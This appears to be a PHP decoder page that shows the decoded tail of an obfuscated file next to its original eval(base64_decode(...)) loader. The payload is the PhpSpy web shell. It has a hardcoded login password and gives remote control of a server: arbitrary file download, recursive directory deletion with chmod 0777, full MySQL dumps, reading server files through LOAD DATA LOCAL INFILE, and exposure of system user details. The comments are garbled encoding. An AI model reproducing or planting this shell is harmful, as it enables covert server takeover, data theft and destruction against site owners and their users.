	echo \'Processed in \'.$totaltime.\' second(s)\';
}

//&#305;&#304;
function dbconn($dbhost,$dbuser,$dbpass,$dbname=\'\',$charset=\'\',$dbport=\'3306\') {
	if(!$link = @mysql_connect($dbhost.\':\'.$dbport, $dbuser, $dbpass)) {
		p(\'<h2>Can not connect to MySQL server</h2>\');
		exit;
	}
	if($link && $dbname) {
		if (!@mysql_select_db($dbname, $link)) {
			p(\'<h2>Database selected has error</h2>\');
			exit;
		}
	}
	if($link && mysql_get_server_info() > \'4.1\') {
		if(in_array(strtolower($charset), array(\'gbk\', \'big5\', \'utf8\'))) {
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
		}
	}
	return $link;
}

// 
function s_array(&$array) {
	if (is_array($array)) {
		foreach ($array as $k => $v) {
			$array[$k] = s_array($v);
		}
	} else if (is_string($array)) {
		$array = stripslashes($array);
	}
	return $array;
}

// &#305;HTML
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("\n", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}

// &#350;
function getChmod($filepath){
	return substr(base_convert(@fileperms($filepath),10,8),-4);
}

function getPerms($filepath) {
	$mode = @fileperms($filepath);
	if (($mode & 0xC000) === 0xC000) {$type = \'s\';}
	elseif (($mode & 0x4000) === 0x4000) {$type = \'d\';}
	elseif (($mode & 0xA000) === 0xA000) {$type = \'l\';}
	elseif (($mode & 0x8000) === 0x8000) {$type = \'-\';} 
	elseif (($mode & 0x6000) === 0x6000) {$type = \'b\';}
	elseif (($mode & 0x2000) === 0x2000) {$type = \'c\';}
	elseif (($mode & 0x1000) === 0x1000) {$type = \'p\';}
	else {$type = \'?\';}

	$owner[\'read\'] = ($mode & 00400) ? \'r\' : \'-\'; 
	$owner[\'write\'] = ($mode & 00200) ? \'w\' : \'-\'; 
	$owner[\'execute\'] = ($mode & 00100) ? \'x\' : \'-\'; 
	$group[\'read\'] = ($mode & 00040) ? \'r\' : \'-\'; 
	$group[\'write\'] = ($mode & 00020) ? \'w\' : \'-\'; 
	$group[\'execute\'] = ($mode & 00010) ? \'x\' : \'-\'; 
	$world[\'read\'] = ($mode & 00004) ? \'r\' : \'-\'; 
	$world[\'write\'] = ($mode & 00002) ? \'w\' : \'-\'; 
	$world[\'execute\'] = ($mode & 00001) ? \'x\' : \'-\'; 

	if( $mode & 0x800 ) {$owner[\'execute\'] = ($owner[\'execute\']==\'x\') ? \'s\' : \'S\';}
	if( $mode & 0x400 ) {$group[\'execute\'] = ($group[\'execute\']==\'x\') ? \'s\' : \'S\';}
	if( $mode & 0x200 ) {$world[\'execute\'] = ($world[\'execute\']==\'x\') ? \'t\' : \'T\';}
 
	return $type.$owner[\'read\'].$owner[\'write\'].$owner[\'execute\'].$group[\'read\'].$group[\'write\'].$group[\'execute\'].$world[\'read\'].$world[\'write\'].$world[\'execute\'];
}

function getUser($filepath)	{
	if (function_exists(\'posix_getpwuid\')) {
		$array = @posix_getpwuid(@fileowner($filepath));
		if ($array && is_array($array)) {
			return \' / <a href="#" title="User: \'.$array[\'name\'].\'&#13&#10Passwd: \'.$array[\'passwd\'].\'&#13&#10Uid: \'.$array[\'uid\'].\'&#13&#10gid: \'.$array[\'gid\'].\'&#13&#10Gecos: \'.$array[\'gecos\'].\'&#13&#10Dir: \'.$array[\'dir\'].\'&#13&#10Shell: \'.$array[\'shell\'].\'">\'.$array[\'name\'].\'</a>\';
		}
	}
	return \'\';
}

// &#305;
function deltree($deldir) {
	$mydir=@dir($deldir);	
	while($file=$mydir->read())	{ 		
		if((is_dir($deldir.\'/\'.$file)) && ($file!=\'.\') && ($file!=\'..\')) { 
			@chmod($deldir.\'/\'.$file,0777);
			deltree($deldir.\'/\'.$file); 
		}
		if (is_file($deldir.\'/\'.$file)) {
			@chmod($deldir.\'/\'.$file,0777);
			@unlink($deldir.\'/\'.$file);
		}
	} 
	$mydir->close(); 
	@chmod($deldir,0777);
	return @rmdir($deldir) ? 1 : 0;
}

// &#286;&#286;
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? \'alt1\' : \'alt2\';
}

// &#351;
function getPath($scriptpath, $nowpath) {
	if ($nowpath == \'.\') {
		$nowpath = $scriptpath;
	}
	$nowpath = str_replace(\'\\\', \'/\', $nowpath);
	$nowpath = str_replace(\'//\', \'/\', $nowpath);
	if (substr($nowpath, -1) != \'/\') {
		$nowpath = $nowpath.\'/\';
	}
	return $nowpath;
}

// 
function getUpPath($nowpath) {
	$pathdb = explode(\'/\', $nowpath);
	$num = count($pathdb);
	if ($num > 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode(\'/\', $pathdb).\'/\';
	$uppath = str_replace(\'//\', \'/\', $uppath);
	return $uppath;
}

// PHP&#305;
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return \'No\';
	} elseif ($result == 1) {
		return \'Yes\';
	} else {
		return $result;
	}
}

// &#305;
function getfun($funName) {
	return (false !== function_exists($funName)) ? \'Yes\' : \'No\';
}

function GetList($dir){
	global $dirdata,$j,$nowpath;
	!$j && $j=1;
	if ($dh = opendir($dir)) {
		while ($file = readdir($dh)) {
			$f=str_replace(\'//\',\'/\',$dir.\'/\'.$file);
			if($file!=\'.\' && $file!=\'..\' && is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j][\'filename\']=str_replace($nowpath,\'\',$f);
					$dirdata[$j][\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($f));
					$dirdata[$j][\'dirchmod\']=getChmod($f);
					$dirdata[$j][\'dirperm\']=getPerms($f);
					$dirdata[$j][\'dirlink\']=ue($dir);
					$dirdata[$j][\'server_link\']=$f;
					$dirdata[$j][\'client_link\']=ue($f);
					$j++;
				}
				GetList($f);
			}
		}
		closedir($dh);
		clearstatcache();
		return $dirdata;
	} else {
		return array();
	}
}

function qy($sql) { 
	//echo $sql.\'<br>\';
	$res = $error = \'\';
	if(!$res = @mysql_query($sql)) { 
		return 0;
	} else if(is_resource($res)) {
		return 1; 
	} else {
		return 2;
	}	
	return 0;
}

function q($sql) { 
	return @mysql_query($sql);
}

function fr($qy){
	mysql_free_result($qy);
}

function sizecount($size) {
	if($size > 1073741824) {
		$size = round($size / 1073741824 * 100) / 100 . \' G\';
	} elseif($size > 1048576) {
		$size = round($size / 1048576 * 100) / 100 . \' M\';
	} elseif($size > 1024) {
		$size = round($size / 1024 * 100) / 100 . \' K\';
	} else {
		$size = $size . \' B\';
	}
	return $size;
}

// 
class PHPZip{
	var $out=\'\';
	function PHPZip($dir)	{
		if (@function_exists(\'gzcompress\'))	{
			$curdir = getcwd();
			if (is_array($dir)) $filelist = $dir;
			else{
				$filelist=$this -> GetFileList($dir);//&#351;&#286;
				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
			}
			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
			else chdir($curdir);
			if (count($filelist)>0){
				foreach($filelist as $filename){
					if (is_file($filename)){
						$fd = fopen ($filename, \'r\');
						$content = @fread ($fd, filesize($filename));
						fclose ($fd);
						if (is_array($dir)) $filename = basename($filename);
						$this -> addFile($content, $filename);
					}
				}
				$this->out = $this -> file();
				chdir($curdir);
			}
			return 1;
		}
		else return 0;
	}

	// &#351;&#286;
	function GetFileList($dir){
		static $a;
		if (is_dir($dir)) {
			if ($dh = opendir($dir)) {
				while ($file = readdir($dh)) {
					if($file!=\'.\' && $file!=\'..\'){
						$f=$dir .\'/\'. $file;
						if(is_dir($f)) $this->GetFileList($f);
						$a[]=$f;
					}
				}
				closedir($dh);
			}
		}
		return $a;
	}

	var $datasec      = array();
	var $ctrl_dir     = array();
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset   = 0;

	function unix2DosTime($unixtime = 0) {
		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
		if ($timearray[\'year\'] < 1980) {
			$timearray[\'year\']    = 1980;
			$timearray[\'mon\']     = 1;
			$timearray[\'mday\']    = 1;
			$timearray[\'hours\']   = 0;
			$timearray[\'minutes\'] = 0;
			$timearray[\'seconds\'] = 0;
		} // end if
		return (($timearray[\'year\'] - 1980) << 25) | ($timearray[\'mon\'] << 21) | ($timearray[\'mday\'] << 16) |
				($timearray[\'hours\'] << 11) | ($timearray[\'minutes\'] << 5) | ($timearray[\'seconds\'] >> 1);
	}

	function addFile($data, $name, $time = 0) {
		$name = str_replace(\'\\\', \'/\', $name);

		$dtime = dechex($this->unix2DosTime($time));
		$hexdtime	= \'\x\' . $dtime[6] . $dtime[7]
					. \'\x\' . $dtime[4] . $dtime[5]
					. \'\x\' . $dtime[2] . $dtime[3]
					. \'\x\' . $dtime[0] . $dtime[1];
		eval(\'$hexdtime = "\' . $hexdtime . \'";\');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;

		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack(\'V\', $crc);
		$fr .= pack(\'V\', $c_len);
		$fr .= pack(\'V\', $unc_len);
		$fr .= pack(\'v\', strlen($name));
		$fr .= pack(\'v\', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack(\'V\', $crc);
		$fr .= pack(\'V\', $c_len);
		$fr .= pack(\'V\', $unc_len);

		$this -> datasec[] = $fr;
		$new_offset = strlen(implode(\'\', $this->datasec));

		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack(\'V\', $crc);
		$cdrec .= pack(\'V\', $c_len);
		$cdrec .= pack(\'V\', $unc_len);
		$cdrec .= pack(\'v\', strlen($name) );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'V\', 32 );
		$cdrec .= pack(\'V\', $this -> old_offset );
		$this -> old_offset = $new_offset;
		$cdrec .= $name;

		$this -> ctrl_dir[] = $cdrec;
	}

	function file() {
		$data    = implode(\'\', $this -> datasec);
		$ctrldir = implode(\'\', $this -> ctrl_dir);
		return $data . $ctrldir . $this -> eof_ctrl_dir . pack(\'v\', sizeof($this -> ctrl_dir)) . pack(\'v\', sizeof($this -> ctrl_dir)) .	pack(\'V\', strlen($ctrldir)) . pack(\'V\', strlen($data)) . "\x00\x00";
	}
}

// &#304;&#305;&#304;
function sqldumptable($table, $fp=0) {
	$tabledump = "DROP TABLE IF EXISTS $table;\n";
	$tabledump .= "CREATE TABLE $table (\n";

	$firstfield=1;

	$fields = q("SHOW FIELDS FROM $table");
	while ($field = mysql_fetch_array($fields)) {
		if (!$firstfield) {
			$tabledump .= ",\n";
		} else {
			$firstfield=0;
		}
		$tabledump .= "   $field[Field] $field[Type]";
		if (!empty($field["Default"])) {
			$tabledump .= " DEFAULT \'$field[Default]\'";
		}
		if ($field[\'Null\'] != "YES") {
			$tabledump .= " NOT NULL";
		}
		if ($field[\'Extra\'] != "") {
			$tabledump .= " $field[Extra]";
		}
	}
	fr($fields);

	$keys = q("SHOW KEYS FROM $table");
	while ($key = mysql_fetch_array($keys)) {
		$kname=$key[\'Key_name\'];
		if ($kname != "PRIMARY" && $key[\'Non_unique\'] == 0) {
			$kname="UNIQUE|$kname";
		}
		if(!is_array($index[$kname])) {
			$index[$kname] = array();
		}
		$index[$kname][] = $key[\'Column_name\'];
	}
	fr($keys);

	while(list($kname, $columns) = @each($index)) {
		$tabledump .= ",\n";
		$colnames=implode($columns,",");

		if ($kname == "PRIMARY") {
			$tabledump .= "   PRIMARY KEY ($colnames)";
		} else {
			if (substr($kname,0,6) == "UNIQUE") {
				$kname=substr($kname,7);
			}
			$tabledump .= "   KEY $kname ($colnames)";
		}
	}

	$tabledump .= "\n);\n\n";
	if ($fp) {
		fwrite($fp,$tabledump);
	} else {
		echo $tabledump;
	}

	$rows = q("SELECT * FROM $table");
	$numfields = mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows)) {
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter=-1;
		$firstfield=1;
		while (++$fieldcounter<$numfields) {
			if (!$firstfield) {
				$tabledump.=", ";
			} else {
				$firstfield=0;
			}

			if (!isset($row[$fieldcounter])) {
				$tabledump .= "NULL";
			} else {
				$tabledump .= "\'".mysql_escape_string($row[$fieldcounter])."\'";
			}
		}

		$tabledump .= ");\n";

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
	}
	fr($rows);
	if ($fp) {
		fwrite($fp,"\n");
	} else {
		echo "\n";
	}
}

function ue($str){
	return urlencode($str);
}

function p($str){
	echo $str."\n";
}

function tbhead() {
	p(\'<table width="100%" border="0" cellpadding="4" cellspacing="0">\');
}
function tbfoot(){
	p(\'</table>\');
}

function makehide($name,$value=\'\'){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
	$arg[\'size\'] = $arg[\'size\'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg[\'extra\'] = $arg[\'extra\'] ? $arg[\'extra\'] : \'\';
	!$arg[\'type\'] && $arg[\'type\'] = \'text\';
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';
	$arg[\'class\'] = $arg[\'class\'] ? $arg[\'class\'] : \'input\';
	if ($arg[\'newline\']) {
		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
	} else {
		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
	}
}

function makeselect($arg = array()){
	if ($arg[\'onchange\']) {
		$onchange = \'onchange="\'.$arg[\'onchange\'].\'"\';
	}
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'] : \'\';
	if ($arg[\'newline\']) p(\'<p>\');
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg[\'option\'])) {
			foreach ($arg[\'option\'] as $key=>$value) {
				if ($arg[\'selected\']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
	if ($arg[\'newline\']) p(\'</p>\');
}
function formhead($arg = array()) {
	!$arg[\'method\'] && $arg[\'method\'] = \'post\';
	!$arg[\'action\'] && $arg[\'action\'] = $self;
	$arg[\'target\'] = $arg[\'target\'] ? "target=\"$arg[target]\"" : \'\';
	!$arg[\'name\'] && $arg[\'name\'] = \'form1\';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
	if ($arg[\'title\']) {
		p(\'<h2>\'.$arg[\'title\'].\' &raquo;</h2>\');
	}
}
	
function maketext($arg = array()){
	!$arg[\'cols\'] && $arg[\'cols\'] = 100;
	!$arg[\'rows\'] && $arg[\'rows\'] = 25;
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}

function formfooter($name = \'\'){
	!$name && $name = \'submit\';
	p(\'<p><input class="bt" name="\'.$name.\'" id=\"\'.$name.\'\" type="submit" value="Submit"></p>\');
	p(\'</form>\');
}

function formfoot(){
	p(\'</form>\');
}

// &#305;
function pr($a) {
	echo \'<pre>\';
	print_r($a);
	echo \'</pre>\';
}

?>'

Did this file decode correctly?

Original Code

<?php eval('?>'.base64_decode('PD9waHANCg0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoNCj09PT09PT09PT09PT09PT09PT09PSDH687z08PT2rfHt6jTw82+o6zU7LPJ0rvHJiMyODY7uvO5+9Prsb7Iy84mIzM1MDu52KGjPT09PT09PT09PT09PT09PT09PT0NCg0Kt6KyvLTLsOaxvsrHzqrBy7zNxO6wssirzOzKudT4vq21xLvUu82how0KDQq4JiMyODY7JiMyODY7u8Tjw8fT687S0rvNrNffuSYjMzA1O6O6U25pcGVyXFN1cGVyoaRIZWlca0V2aW4xOTg2XHNhaXlcd29mZWl3b6GjDQoNCrgmIzI4NjsmIzI4Nju7y/nTJiMyODY7tcTF89PRw8ehoiYjMjg2O9a13MPHoaO24CYjMjg2O7vE48PHtcS52CYjMjg2O8S6zdans9ajoQ0KDQrRodTx1Nox1MI3yNW3orK8ysfOqsHLvM3E7s7SwM/GxbXEyfrI1aOs1KTXo87S1NqxvsP8xOrA76Gjz8zT47etye2joQ0KDQo9PT09PT09PT09PT09PT09PT09PT09INfuuvPUpNejsLLIq8zsyrm1xMO/0rvOu8Xz09G3ybvGzNq07yA9PT09PT09PT09PT09PT09PT09PT09PQ0KDQpDb2R6IGJ5IGFuZ2VsKDRuZ2VsKQ0KDQpNYWtlIGluIENoaW5hDQoNCldlYjogaHR0cDovL3d3dy40bmdlbC5uZXQNCg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCmVycm9yX3JlcG9ydGluZyg3KTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpvYl9zdGFydCgpOw0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKS4nLycpOw0KLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCApOw0KZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KZGVmaW5lKCdJU19QSFBJTkZPJywgKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAxIDogMCApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KDQpmb3JlYWNoKGFycmF5KCdfR0VUJywnX1BPU1QnKSBhcyAkX3JlcXVlc3QpIHsNCglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgew0KCQlpZiAoJF9rZXl7MH0gIT0gJ18nKSB7DQoJCQlpZiAoSVNfR1BDKSB7DQoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7DQoJCQl9DQoJCQkkJF9rZXkgPSAkX3ZhbHVlOw0KCQl9DQoJfQ0KfQ0KDQovKj09PT09PT09PT09PT09PT09PT09PSCzzCYjMjg2O/LF5NbDID09PT09PT09PT09PT09PT09PT09PSovDQokYWRtaW4gPSBhcnJheSgpOw0KLy8gyse38SYjMjg2O+jSqsPcwuvR6dakLCB0cnVlIM6qJiMyODY76NKq0enWpCwgZmFsc2UgzqrWsb3TvfjI6y7PwsPm0aHP7tTyziYjMzUwOyYjMjg2O6cNCiRhZG1pblsnY2hlY2snXSA9IHRydWU7DQovLyDI57n7JiMyODY76NKqw9zC69Hp1qQsx+smIzI4NjsmIzM1MDu4xLXHwr3D3MLrDQokYWRtaW5bJ3Bhc3MnXSAgPSAnbGFzdCc7DQoNCi8vyOfE+rbUIGNvb2tpZSDX99PDt7bOp9MmIzI4NjvM2Mri0qrH8ywgu/K1x8K8srvVJiMzMDU7s6MsIMfrJiMyODY7JiMzNTA7uMTPwsPmseTBvywgt/HU8sfrsaOz1sSsyM8NCi8vIGNvb2tpZSDHsNe6DQokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7DQovLyBjb29raWUg1/fTw9PyDQokYWRtaW5bJ2Nvb2tpZWRvbWFpbiddID0gJyc7DQovLyBjb29raWUg1/fTw8K3vrYNCiRhZG1pblsnY29va2llcGF0aCddID0gJy8nOw0KLy8gY29va2llINMmIzI4NjsmIzI4NjunxtoNCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSDF5NbDveHK+CA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQppZiAoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnbGF0aW4xJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiR0aW1lc3RhbXAgPSB0aW1lKCk7DQoNCi8qPT09PT09PT09PT09PT09PT09PT09IMnttyYjMzA0O9Hp1qQgPT09PT09PT09PT09PT09PT09PT09Ki8NCmlmICgkYWN0aW9uID09ICJsb2dvdXQiKSB7DQoJc2Nvb2tpZSgncGhwc3B5cGFzcycsICcnLCAtODY0MDAgKiAzNjUpOw0KCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScuJHNlbGYuJyI+Jyk7DQoJcCgnPGEgc3R5bGU9ImZvbnQ6MTJweCBWZXJkYW5hIiBocmVmPSInLiRzZWxmLiciPlN1Y2Nlc3M8L2E+Jyk7DQoJZXhpdDsNCn0NCmlmKCRhZG1pblsnY2hlY2snXSkgew0KCWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgew0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQoJCQlzY29va2llKCdwaHBzcHlwYXNzJywgJHBhc3N3b3JkKTsNCgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScuJHNlbGYuJyI+Jyk7DQoJCQlwKCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2VzczwvYT4nKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYgKCRfQ09PS0lFWydwaHBzcHlwYXNzJ10pIHsNCgkJaWYgKCRfQ09PS0lFWydwaHBzcHlwYXNzJ10gIT0gJGFkbWluWydwYXNzJ10pIHsNCgkJCWxvZ2lucGFnZSgpOw0KCQl9DQoJfSBlbHNlIHsNCgkJbG9naW5wYWdlKCk7DQoJfQ0KfQ0KLyo9PT09PT09PT09PT09PT09PT09PT0g0enWpL3hyvggPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KJGVycm1zZyA9ICcnOw0KDQovLyCy6b+0UEhQSU5GTw0KaWYgKCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7DQoJaWYgKElTX1BIUElORk8pIHsNCgkJcGhwaW5mbygpOw0KCX0gZWxzZSB7DQoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOw0KCX0NCn0NCg0KLy8gz8LU2M7EvCYjMzUxOw0KaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoJfSBlbHNlIHsNCgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOw0KCQlAcmVhZGZpbGUoJHRoZWZpbGUpOw0KCQlleGl0Ow0KCX0NCn0NCg0KLy8g1rG908/C1NixuLcmIzMwNDvKJiMzMDU7viYjMzA0O7/iDQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7DQoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoJJHJlc3VsdCA9IHEoIlNIT1cgdGFibGVzIik7DQoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duJyk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoJJG15c3FsZGF0YSA9ICcnOw0KCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCgkJCSRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KCQl9DQoJfQ0KCW15c3FsX2Nsb3NlKCk7DQoJZXhpdDsNCn0NCg0KLy8gzai5JiMzMDU7TVlTUUzPwtTYzsS8JiMzNTE7DQppZigkZG9pbmc9PSdteXNxbGRvd24nKXsNCglpZiAoISRkYm5hbWUpIHsNCgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsNCgl9IGVsc2Ugew0KCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsNCgkJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoJCX0gZWxzZSB7DQoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7DQoJCQlpZighJHJlc3VsdCl7DQoJCQkJcSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdG1wX2FuZ2VsOyIpOw0KCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOw0KCQkJCS8v08PKsbzktMHAtLHtyr692LbPLLHcw+Kz9s/WtsHIodfUye278rD8uqxfX2FuZ2VsXzExMTExMTExMTFfZW9mX1+1xM7EvCYjMzUxO8qxsrvN6tX7tcTH6b/2DQoJCQkJcSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIi5hZGRzbGFzaGVzKCRteXNxbGRsZmlsZSkuIicgSU5UTyBUQUJMRSB0bXBfYW5nZWwgRklFTERTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJzsiKTsNCgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsNCgkJCQlxKCJEUk9QIFRBQkxFIHRtcF9hbmdlbCIpOw0KCQkJfQ0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheS